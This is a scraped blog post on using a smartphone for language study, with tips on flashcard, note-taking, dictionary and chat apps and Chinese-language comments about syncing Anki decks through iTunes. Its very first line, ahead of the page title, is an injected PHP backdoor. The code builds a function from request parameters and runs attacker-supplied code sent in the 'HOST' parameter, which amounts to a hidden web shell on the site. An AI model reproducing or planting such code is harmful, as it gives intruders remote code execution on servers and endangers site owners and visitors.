if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['317eb549f704f6fc96d51f678bd03b5c']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} From Smart Phone (iPhone) to fluency | Beyond Bounds

From Smart (i)Phone to fluency

Posted by Jason Sharp on Oct 15, 2010 in Language | View Comments
From Smart (i)Phone to fluency

8 Reasons why buying a smart phone will get you to fluency fast, and organize your learning in the process:

  • Ankionline:  Ankionline allows you to review flashcards and learn new words from anywhere, at any time. The app is clean and loads up quickly.  Gain hours a day of extra study time with just this one app.
  • Evernote: Take notes anywhere.  If you are abroad and see a word you don’t know, you can write it down to save for later.  If you don’t know how to write it (Chinese / Japanese), you can actually take a picture of it and save that picture for later.  You no longer have to carry around a notebook and pen.
  • Dictionary: Why carry around a separate electronic dictionary when you can have one on your phone?  If you can’t wait to look up the words you saved in Evernote, then look them up right away.  You can download a dictionary app or just surf for a web-based one.
  • Media: Put all of your foreign language media in one spot – movies and music wherever you go!  You don’t need an iPod or an mp4 player, and you can store a lot of music and movies before you run out of room.
  • Web Surfing:  Read websites, news, blogs, etc, online right on your phone.  Bookmark some sites to read in your spare time, then copy paste words you don’t know into Evernote to save for Anki later – it’s incredible how it all works together!
  • Instant messaging: Skype, MSN, QQ, AIM and whatever else you need all available so you can chat in your target language from anywhere you have 3G signal or wifi access.
  • Localized Apps: Get apps created in the language you are learning (if you aren’t learning a highly uncommon language).  There are great Chinese apps, not to mention Japanese and English ones!
  • Games / Word Games: Want to improve your English?  There are tons of English word games.  I’m still looking for games like scrabble in other languages, but at least you can play games in other languages!

What other ways can you come up with?  Let me know so I can use them!

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  • Momoyee

    你好！我刚刚买了一个ipod touch还有一个anki for itunes软件，可是不知道为什么我的anki还是不在我的ipod touch上，还有我不知道怎么把我的生词卡放在我的itunes anki,哈哈。你知道怎么弄吗？我很等不及用这个应用软件！：）谢谢你！

  • http://beyondbounds.org/ Jason Sharp

    不能通过互联网同步电脑上和移动机器的卡片叠、只能先与电脑连接、再通过itunes做。itunes认出移动机器后、用鼠标从左边的列表中选择移动机器的名字、这样才能打开移动机器的操作窗口。这个窗口的上面有多个选项，点击“应用程序”就能看到所有应用程序的图标。最下面会有个anki的图标、而在anki的右侧可以选择传文件。

    你打开anki的电脑板、把卡片叠导出来、然后通过itunes把它传到你的移动机器。现在没有其它办法、只能这样。

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